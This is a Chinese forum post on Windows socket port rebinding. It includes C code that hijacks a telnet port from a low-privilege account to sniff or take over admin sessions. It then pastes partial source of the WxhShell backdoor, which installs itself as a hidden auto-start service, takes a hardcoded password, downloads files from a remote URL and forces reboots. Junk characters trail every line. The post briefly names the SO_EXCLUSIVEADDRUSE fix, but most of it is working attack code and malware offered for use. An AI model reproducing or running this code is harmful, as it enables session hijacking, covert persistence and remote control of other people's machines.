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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: : 2$*'{mM  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C@\5%~tW+  
@$t\yBSK  
  saddr.sin_family = AF_INET; GKOl{och  
&r*F+gL  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ()w;~$J  
`S5::U6E  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Sv0?_3C  
Owgy<@C  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^nNpT!o  
I.(@#v7T  
  这意味着什么?意味着可以进行如下的攻击: |W$|og'wC  
Pa+_{9  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `u R`O9)e  
1c429&-  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) C^5 V  
\x\N?$`ANc  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 =yM%#{t&W  
6w(r}yO]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  En#Q p3  
_d!o,=}  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $-~"G,;F  
,nCvA%B!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 CWRB/WH:  
 +Mhk<A[s  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 F u^j- Io  
b62B|0i  
  #include Ctn?O~u  
  #include &l!T2PX!  
  #include olA+B  
  #include    C^;8M'8z0  
  DWORD WINAPI ClientThread(LPVOID lpParam);   L;y BZLM  
  int main() Ewq@>$_!  
  { #qR6TM&;  
  WORD wVersionRequested; =J]EVD   
  DWORD ret; *}';q`u }  
  WSADATA wsaData; ZZHzC+O#^  
  BOOL val; Iz'Et'w8!  
  SOCKADDR_IN saddr; sKsMF:|OT  
  SOCKADDR_IN scaddr; @iXBy:@  
  int err; a j$& 9][  
  SOCKET s; Q-F$Ryj^  
  SOCKET sc; *h=>*t?I2  
  int caddsize; U <q`f-  
  HANDLE mt; c3ru4o*K  
  DWORD tid;   \%bJXTK&W  
  wVersionRequested = MAKEWORD( 2, 2 ); MP<]-M'|<  
  err = WSAStartup( wVersionRequested, &wsaData ); fA?v\'Qq/  
  if ( err != 0 ) { 9E8&~y  
  printf("error!WSAStartup failed!\n"); #"?pY5 ("  
  return -1; ' Q(kx*;  
  } surNJ,)  
  saddr.sin_family = AF_INET; 9wGsHf8]  
   X%&7-PO  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 S w%6-  
Jc}6kFgO6  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @1gURx&2_  
  saddr.sin_port = htons(23); \>}#[?y  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zS|4@t\__  
  { Njr;Wa.r+  
  printf("error!socket failed!\n"); <?}pCX/O  
  return -1; +:=FcsY  
  } a~a:mM > p  
  val = TRUE; L-S5@;"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 {X{S[(|  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) m&D I2he  
  { @9n|5.i  
  printf("error!setsockopt failed!\n"); w0Ex}  
  return -1; ~Dz:n]Vk/  
  } }o7-3!{L!  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; O"EL3$9V  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #1\`!7TO3  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Bos} `S![  
 U#K4)(C  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~o|sma5.  
  { o@_i&4[MW  
  ret=GetLastError(); ]B3+& g  
  printf("error!bind failed!\n"); 5@ td0  
  return -1; :t9![y[=|  
  } t']/2m.&p  
  listen(s,2); %t!r pyD  
  while(1) (Fuu V{x|  
  { WAR!#E#J7  
  caddsize = sizeof(scaddr); $'_Q@ZBq  
  //接受连接请求 *i#N50k*j'  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); p-)@#hE  
  if(sc!=INVALID_SOCKET) pX*E(Q)@!  
  { 3D!7,@&>3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $ta JVVF  
  if(mt==NULL) 4&%H;Q  
  { \}u/0UF97  
  printf("Thread Creat Failed!\n"); , %8)I("  
  break; p{W Amly  
  } yufw}Lo-  
  } +J;b3UE#  
  CloseHandle(mt); +;,J0,Yn  
  } WQ.{Ag?1  
  closesocket(s); t?)]xS)  
  WSACleanup(); %mU$]^Tw(  
  return 0; 1@ &J"*  
  }   DO-M0L  
  DWORD WINAPI ClientThread(LPVOID lpParam) NIQ}+xpC  
  { {jQLr7'  
  SOCKET ss = (SOCKET)lpParam; WN%,   
  SOCKET sc; ":qHDL3  
  unsigned char buf[4096]; B[EOz\?=m  
  SOCKADDR_IN saddr; Ja4M@z  
  long num; }`H{;A h  
  DWORD val; "eOl(TSu/  
  DWORD ret; Bw!J!cCj  
  //如果是隐藏端口应用的话,可以在此处加一些判断 z;e@m2.IM  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   :@P6ibcX  
  saddr.sin_family = AF_INET; cZF|oZ6<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @4Bl&(3S  
  saddr.sin_port = htons(23); Xf#;`*5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) KWD{_h{R  
  { yHC[8l8%  
  printf("error!socket failed!\n"); WbhYGcRy  
  return -1; _z%~ m2SP  
  } MZf?48"f  
  val = 100; 4gev^/^^  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^[}W}j>  
  { .o]I^3tf c  
  ret = GetLastError(); btnD+O66<  
  return -1; sq(5k+y*J  
  } :=+YZ|&j  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a3w6&e`  
  { K;rgLj0m  
  ret = GetLastError(); YT'V/8US  
  return -1; qrj f  
  } e1JH N  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) lg2I|Z6DH  
  { 'U ZzH$h  
  printf("error!socket connect failed!\n"); vL[IVBG^  
  closesocket(sc); R2{]R&wtn0  
  closesocket(ss); [_3&  
  return -1; Zos.WS#  
  } M=95E$6  
  while(1) `+vQ5l$;L  
  { DCLu^:|C"  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2vG X\W% 3  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 5[B)U">]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 b&4JHyleF  
  num = recv(ss,buf,4096,0); OvwoU=u  
  if(num>0) )CE]s)6+2  
  send(sc,buf,num,0); Wf5;~RJC?  
  else if(num==0) 8mRZ(B>% X  
  break; oH v.EO  
  num = recv(sc,buf,4096,0); >?ar  
  if(num>0)  q"T?  
  send(ss,buf,num,0); )F&.0 '  
  else if(num==0)  >Z3>  
  break; -Q5UT=^  
  } 4 $Kzh  
  closesocket(ss); ;~$Q;m 1  
  closesocket(sc); S *J{  
  return 0 ; Wtk|}>Pf  
  } 5%QYe]D  
2^Im~p~ByE  
aZ{l6  
========================================================== I8T*_u^_  
Ah@e9`_r  
下边附上一个代码,,WXhSHELL [Y.JC'F#  
g$"x,:2x{  
========================================================== '-n Iy$>  
F !OD*]  
#include "stdafx.h" `^on`"\{u  
eY?OUS  
#include <stdio.h> U,T#{  
#include <string.h> iR{@~JN=)  
#include <windows.h> 4G;KT~Cgb  
#include <winsock2.h> |T"j7  
#include <winsvc.h> +/[Rvh5WZ  
#include <urlmon.h> ZrNH:Z:5  
3Rsrb  
#pragma comment (lib, "Ws2_32.lib") ;w]1H&mc*A  
#pragma comment (lib, "urlmon.lib") 9eP*N(m<  
EXH,+3fQp  
#define MAX_USER   100 // 最大客户端连接数 {E)tzBI;^  
#define BUF_SOCK   200 // sock buffer }QQl.'  
#define KEY_BUFF   255 // 输入 buffer 9 ;uw3vI%  
BdU .;_K  
#define REBOOT     0   // 重启 ?G~rYETvw  
#define SHUTDOWN   1   // 关机 bf1$:09  
j"TEp$x  
#define DEF_PORT   5000 // 监听端口 CKFr9bT{  
Iix:Y}  
#define REG_LEN     16   // 注册表键长度 F=*t]X[z}  
#define SVC_LEN     80   // NT服务名长度 #hs&)6S f  
Qh Rj*,  
// 从dll定义API <6hs<qXqi  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jpR]V86G  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,aP5)ZN-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U Rq9:{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4, Vx3QFZ  
};"_Ku4#-  
// wxhshell配置信息 QZ7W:%r(4  
struct WSCFG { Xa ;wx3]t  
  int ws_port;         // 监听端口 H=WB6~8)  
  char ws_passstr[REG_LEN]; // 口令 VJW8%s[  
  int ws_autoins;       // 安装标记, 1=yes 0=no (;9fkqm%m  
  char ws_regname[REG_LEN]; // 注册表键名 Ygg(qB1q  
  char ws_svcname[REG_LEN]; // 服务名 QKvaTy#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 uX{g4#eG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /4+zT?f  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 UL&>]aQ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;$$w`LyP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O5+Ah%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }z\t}lven  
' Gx\  
}; glM42s  
S ;8=+I,  
// default Wxhshell configuration 2Z<S^9O9  
struct WSCFG wscfg={DEF_PORT, G\k&s F  
    "xuhuanlingzhe", KMfRMc&  
    1, Td7Q%7p:  
    "Wxhshell", ~+BU@PHv  
    "Wxhshell", 'h~IbP  
            "WxhShell Service", %zEy.7Ux  
    "Wrsky Windows CmdShell Service", %'=TYvB 2  
    "Please Input Your Password: ", CV{ZoY  
  1, .ty2! .  
  "http://www.wrsky.com/wxhshell.exe", gwg~4:W  
  "Wxhshell.exe" ).u>%4=6  
    }; /Hm/%os  
&pz`gna  
// 消息定义模块 e,#5I(E  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H D$`ZV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; A93(} V7I  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {LqYb:/C5U  
char *msg_ws_ext="\n\rExit."; tId,Q>zH  
char *msg_ws_end="\n\rQuit."; lq`7$7-4  
char *msg_ws_boot="\n\rReboot..."; |)O;+e\  
char *msg_ws_poff="\n\rShutdown..."; oHSDi  
char *msg_ws_down="\n\rSave to "; MDd 2B9cy[  
[-e$4^+9  
char *msg_ws_err="\n\rErr!"; 3qNuv];2  
char *msg_ws_ok="\n\rOK!"; R&P^rrC@B5  
G$Fo*;Fl  
char ExeFile[MAX_PATH]; TOSk+2P  
int nUser = 0; o2]Np~`g,  
HANDLE handles[MAX_USER]; 94*MRn1E  
int OsIsNt; ) 54cG  
6 9uDc  
SERVICE_STATUS       serviceStatus; /Q#eP m  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; l 8GAZ*+  
KiC,O7&<  
// 函数声明 c1*^ \   
int Install(void); "8(8]GgYx  
int Uninstall(void); !>K=@9NC|.  
int DownloadFile(char *sURL, SOCKET wsh); ?G&J_L=@Y  
int Boot(int flag); Dp^=%F{t  
void HideProc(void); ~:_10g]r  
int GetOsVer(void); TDg<&ND3  
int Wxhshell(SOCKET wsl); L/bvM?B^  
void TalkWithClient(void *cs); Z%3)w.  
int CmdShell(SOCKET sock); NJoHrhC='  
int StartFromService(void); * "?,.  
int StartWxhshell(LPSTR lpCmdLine); OMYbCy^  
NW21{}=4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )B~{G\jS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }>YEtA  
^QHgc_oDm  
// 数据结构和表定义 K3rsew n  
SERVICE_TABLE_ENTRY DispatchTable[] = 6BXZGE  
{ pm=s  
{wscfg.ws_svcname, NTServiceMain}, H6 $pA^  
{NULL, NULL} yB;K|MXy?  
}; =3 ;! 5P  
"Nq5FcS9  
// 自我安装 vsI|HxpyC,  
int Install(void) 4Xn-L&0z  
{ =1O;,8`  
  char svExeFile[MAX_PATH]; ;1TQr3w  
  HKEY key; O4a~(*f  
  strcpy(svExeFile,ExeFile); a][Tb0Ox  
('=Q[ua7-(  
// 如果是win9x系统,修改注册表设为自启动 poqNiOm4%  
if(!OsIsNt) { Wp^ |=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6-{wo)p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ipow Jw^  
  RegCloseKey(key); hrfSe$8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &&96kg3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '0qKb*  
  RegCloseKey(key); S^i<_?nwg  
  return 0; $KGRpI  
    } #_Lgo  
  } 5'(#Sf  
} x.(Sv]+[  
else { zj1_#=]  
pM!cF  
// 如果是NT以上系统,安装为系统服务 5* ~E dT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0{Zwg0&  
if (schSCManager!=0) = o1&.v2j  
{ nC9x N  
  SC_HANDLE schService = CreateService : +fW#:  
  ( u H)v\Js  
  schSCManager, Nb>C5TjR  
  wscfg.ws_svcname, 0qN?4h)7  
  wscfg.ws_svcdisp, a)/ }T  
  SERVICE_ALL_ACCESS, >- CNHb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +/#Lm#*nu%  
  SERVICE_AUTO_START, $1D>}5Ex  
  SERVICE_ERROR_NORMAL, ;|Rrtf9  
  svExeFile, ?SoRi</1  
  NULL, hBW,J$B  
  NULL, 6bbzgULl  
  NULL, [Ue"#w  
  NULL, :&O6Y-/B  
  NULL PV/hnVUl  
  ); &=-{adm  
  if (schService!=0) G\r>3Ys  
  { 1-pxM~Y  
  CloseServiceHandle(schService); tW3Nry  
  CloseServiceHandle(schSCManager); o{K#LP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1tCe#*|95  
  strcat(svExeFile,wscfg.ws_svcname); <r8s= <:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U+ief?;4F  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {'f=*vMI  
  RegCloseKey(key); MrS~u  
  return 0; l;;"v) C8  
    } r@H7J 5<Y-  
  } ;J?zD9  
  CloseServiceHandle(schSCManager); .+`Z:{:BC&  
} >=L<3W1  
} a0B,[i  
gG,gL 9o  
return 1;  'v&f  
} ]y/!GFQ  
{UOR_Vt!*  
// 自我卸载 =>)4>WT8A  
int Uninstall(void) )^Md ^\?  
{ (d=knoo7A  
  HKEY key; 1Qo2Z;h@  
R94 ID@LF  
if(!OsIsNt) { C;eM:v0A[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t|k-Bh:x  
  RegDeleteValue(key,wscfg.ws_regname); 2?9gf,U  
  RegCloseKey(key); Y:K1v:Knw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?_G?SQ  
  RegDeleteValue(key,wscfg.ws_regname); qMmhmH)Gp  
  RegCloseKey(key); 1n+JHXR\  
  return 0; tc)4$"9)  
  } VrZ6m  
} ?\T):o;/  
} ?h|w7/9  
else { gn4 Sz")  
2S_7!|j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VaFv%%w  
if (schSCManager!=0) K<D=QweOon  
{ EN@Pr `R  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Kd^,NAg  
  if (schService!=0) P }$DCD<$U  
  { ZklZU,\!|v  
  if(DeleteService(schService)!=0) { %0^taA  
  CloseServiceHandle(schService); ch:0qgJ  
  CloseServiceHandle(schSCManager); Eza B}BLQ9  
  return 0; 8j&LU,  
  } 'wP\VCL2>  
  CloseServiceHandle(schService); +Zo&c}  
  } H7R6Ljd?&S  
  CloseServiceHandle(schSCManager); dfA4OZ&  
} c=\H&x3X  
} .VfBwTh7q8  
VA@t8H,  
return 1; |H@1g=q  
} *lws7R  
d^ YM@>%  
// 从指定url下载文件  N'e3<  
int DownloadFile(char *sURL, SOCKET wsh) $56Z/*  
{ !TdbD56  
  HRESULT hr; *Z=:?4u  
char seps[]= "/"; j= Ebk;6p  
char *token; A@k`$xevVj  
char *file; aMycvYzH  
char myURL[MAX_PATH]; wT+b|K  
char myFILE[MAX_PATH]; n*GsM6Y&  
bpWEF b'f  
strcpy(myURL,sURL); !Won<:.[0  
  token=strtok(myURL,seps); Lb%Wz*Fa%!  
  while(token!=NULL) uS,XQy2  
  { VsMTzGr  
    file=token; ]2o?Gnn@  
  token=strtok(NULL,seps); zz~AoX7V6  
  } ]&RC<imq  
L]|[AyNu  
GetCurrentDirectory(MAX_PATH,myFILE); kc&MO`2 W\  
strcat(myFILE, "\\"); xHY#"   
strcat(myFILE, file); 1 n<7YO7}  
  send(wsh,myFILE,strlen(myFILE),0); Y)]x1I  
send(wsh,"...",3,0); 6 P6Pl&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *#2]`G)  
  if(hr==S_OK) A5LTgGzaW  
return 0; g4 G?hv`R  
else C Nt  
return 1; h TY7`m">  
NU?05sF  
} 12MWO_'g8  
MehMhHY  
// 系统电源模块 wnoL<p  
int Boot(int flag) V:vYS  
{ UL   
  HANDLE hToken; :#=XT9  
  TOKEN_PRIVILEGES tkp; h1`u-tc2x  
uzpW0(_i3a  
  if(OsIsNt) { QCvz|)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )cd5iE:FO  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); JVgV,4 1  
    tkp.PrivilegeCount = 1; BYBf`F)4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q-M"+HO  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +:&,Ts/  
if(flag==REBOOT) { .G|9:b  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =u#xPI0:  
  return 0;  wN4N 2  
} XFU['BI  
else {  "0( _  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 20XN5dTFT  
  return 0; Z_qOQ%l  
} }b5If7  
  } @3F4Lg6H|  
  else { -l# h^  
if(flag==REBOOT) { a J&)-ge  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3Bk_4n  
  return 0; FV->226o%  
} 4)XZ'~|  
else { SZ[ ,(h  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Fs,#d%4@%  
  return 0; p#eai  
} k;bdzcMkQ  
} ?i8a)!U  
qfQg?Mr  
return 1; 1:+f@#  
} R!8qkG  
/ .ddx<  
// win9x进程隐藏模块 !C$bOhc  
void HideProc(void) E 9LKVs}  
{ D[5Qd)PIL  
wgb e7-{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); a*4l!-7  
  if ( hKernel != NULL ) 2MapB*  
  { n%J {Tcn6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); bm+ #OI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8I X,q  
    FreeLibrary(hKernel); xy$agt>j>  
  } KiDL]2  
XpLK0YI  
return; r#xq 8H=_m  
} T3W?-,  
Jbrjt/OG#I  
// 获取操作系统版本 p*_^JU(<p  
int GetOsVer(void) ksB-fOv*N  
{ a2MFZe  
  OSVERSIONINFO winfo; im6Rx=}E{  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @FBlF$vG  
  GetVersionEx(&winfo); 0+]ol:i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K~ 6[zJ4  
  return 1; <lBY  
  else l,pI~A`w_  
  return 0; X_6h8n}i  
} \ LQ?s)~  
6!eI=h2P  
// 客户端句柄模块 "?<$>\@; q  
int Wxhshell(SOCKET wsl) lLb"><8a  
{ P'dH*}H  
  SOCKET wsh; Q,.[y"m9Y.  
  struct sockaddr_in client; dF?:&oP]  
  DWORD myID; sKvz<7pag  
sfv{z!mo  
  while(nUser<MAX_USER) <ETR6r  
{ f`dQ $Kh  
  int nSize=sizeof(client); bCv^za]P6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f""+jc1  
  if(wsh==INVALID_SOCKET) return 1; cM= ? {W7~  
|NsrO8H   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); aOj(=s  
if(handles[nUser]==0) /i${[1  
  closesocket(wsh); p%8v+9+h2  
else h*2NFL~#  
  nUser++; -f+U:/'.>v  
  } ,'KQFC   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <u 'q._m  
_h=kjc}[.O  
  return 0; Dp5hr8bT  
} nsRZy0@$t  
'k?%39  
// 关闭 socket R*v~jR/   
void CloseIt(SOCKET wsh) Oc|`<^m  
{ `H:5D5]  
closesocket(wsh); _Py/,Ks.q  
nUser--; ]Ywj@-*q  
ExitThread(0); SP,#KyWP0)  
} UY)e6 Zd  
9&>)4HNd?  
// 客户端请求句柄 ^,?dk![1Cv  
void TalkWithClient(void *cs) =sR]/XSK  
{ eq|G\XJ  
}3"FQ/6C  
  SOCKET wsh=(SOCKET)cs;  o IUjd  
  char pwd[SVC_LEN]; bR6g^Yf  
  char cmd[KEY_BUFF]; zPC&p{S>  
char chr[1]; ranLHm.nB  
int i,j; VeJM=s.y7  
w}OJ2^  
  while (nUser < MAX_USER) { ~(BvI zzD  
]7*Z'E  
if(wscfg.ws_passstr) { !yo/ F& 6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L7_qs+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qM."W=XVN  
  //ZeroMemory(pwd,KEY_BUFF); _x.<Zc\x  
      i=0; :|GC~JElo5  
  while(i<SVC_LEN) { W' DpI7  
C Rd1zDB  
  // 设置超时 BRTM]tRZ  
  fd_set FdRead; F)W7,^=X>-  
  struct timeval TimeOut; *$t<H-U-  
  FD_ZERO(&FdRead); N^G:m~>  
  FD_SET(wsh,&FdRead); $6(,/}==0  
  TimeOut.tv_sec=8; v-V#?+#  
  TimeOut.tv_usec=0; tP?pN]Q$,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t3~ZGOn  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); bD&^-& G  
Qj?qWVapA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -FAAP&LG  
  pwd=chr[0]; Auq)  
  if(chr[0]==0xd || chr[0]==0xa) { rj.]M6#  
  pwd=0; | JmEI9n2  
  break; Zd~l_V f  
  } ] Q 'Ed  
  i++; 7 +RsZu  
    } -|?I'~[#(  
4oY<O  
  // 如果是非法用户,关闭 socket #s'UA!)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 36NENzK  
} Q: H`TSR]  
bJ[{[|yEd  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /~,|zz  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }`O_  
}mz6z<pJ_  
while(1) { ou r$Ka31  
~f.fg@v`+v  
  ZeroMemory(cmd,KEY_BUFF); e~Oge  
N W/RQ(  
      // 自动支持客户端 telnet标准   PRs[! EB6  
  j=0; wkO8  
  while(j<KEY_BUFF) { ,?OV39h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BCw5.@HK*  
  cmd[j]=chr[0]; 6' 9ITA  
  if(chr[0]==0xa || chr[0]==0xd) { yFIB/ln:  
  cmd[j]=0; ?,_$;g  
  break; FmRCTH  
  } 8{m5P8w'  
  j++; .>5KwEK~  
    } 7*!h:rg  
xq?9w$  
  // 下载文件 rmX'Ym9#  
  if(strstr(cmd,"http://")) { ]BY^.!Y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H nKO  
  if(DownloadFile(cmd,wsh)) `^rN"\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); X1 A~#w>  
  else X+'z@xpj  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NTnjVU }  
  } Km5#$IiP;  
  else { Js`xTH'  
*5SOXrvhu6  
    switch(cmd[0]) { N36<EHq  
  S,K'y?6  
  // 帮助 ^ -s'Ad3  
  case '?': { I:6N?lD4}0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); IoEIT Kd  
    break; >dnH  
  } u7rA8u|TO  
  // 安装 eXHk6[%[  
  case 'i': { XZ@;Tyn0,  
    if(Install()) lJ+05\pE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P/BWFN1  
    else Y9b|lP7!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uQ^r1 $#  
    break; ^E)Kse.>  
    } a3&&7n  
  // 卸载 2"31k2H[  
  case 'r': { q/ x(:yol  
    if(Uninstall()) z9@Tg= #i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .qjVw?E  
    else s 0}OsHAj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yPgDb[V+  
    break; 7pB5o2CD0  
    } NWuJ&+gcO5  
  // 显示 wxhshell 所在路径 J&64tQl*  
  case 'p': { iKy_DV;J  
    char svExeFile[MAX_PATH]; 8hx4s(1!  
    strcpy(svExeFile,"\n\r"); 0!WF,)/T7i  
      strcat(svExeFile,ExeFile); N5 BC<pu  
        send(wsh,svExeFile,strlen(svExeFile),0); K~j&Q{yws@  
    break; 5dH}cXs  
    } 0KW@j>=jK  
  // 重启 zJp}JO  
  case 'b': { 1_D|;/aI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); QZcdfJck=+  
    if(Boot(REBOOT)) /~w!7n<7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B8+J0jdg6%  
    else { q Ee1OB  
    closesocket(wsh); 8.-0_C*U;  
    ExitThread(0); 5r=xhOe`  
    } !.\EU*)1  
    break; s "KPTV  
    } ^CIO,I  
